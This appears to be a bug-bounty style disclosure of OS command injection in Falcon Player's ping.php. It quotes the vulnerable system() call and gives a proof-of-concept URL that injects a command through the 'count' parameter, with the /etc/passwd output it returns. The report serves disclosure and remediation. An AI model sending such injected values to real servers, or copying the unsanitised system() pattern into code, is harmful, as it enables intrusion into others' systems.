OS Command Injection in falconchristmas/fpp

Valid

Reported on

May 9th 2021


✍️ Description

FPP - Falcon Player is vulnerable to OS Command injection attacks on ping.php because it doesnt sanitize user supplied parameters as shown below. : Vulnerable variable: count
Method: GET
The $count variable is constructed using the user supplied data, and then is used in a system call:

if (isset($_GET['count']))
    $count = $_GET['count'];
...snipped...
==========================================================================
<?php
    system("ping -c $count -n $ip");

Allowing to inject multiple commands.

🕵️‍♂️ Proof of Concept

Open a browser and request the ping.php resource with the count variable, for example if installed on localhost:

http://localhost/fpp/ping.php?count=1;%20head%20/etc/passwd%20;%20echo%2012

Observe the response:

Ping

==========================================================================
ping -c 1; head /etc/passwd ; echo 12 -n github.com


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12 -n github.com
===================================

💥 Impact

This vulnerability is capable of execute commands on the vulnerable server.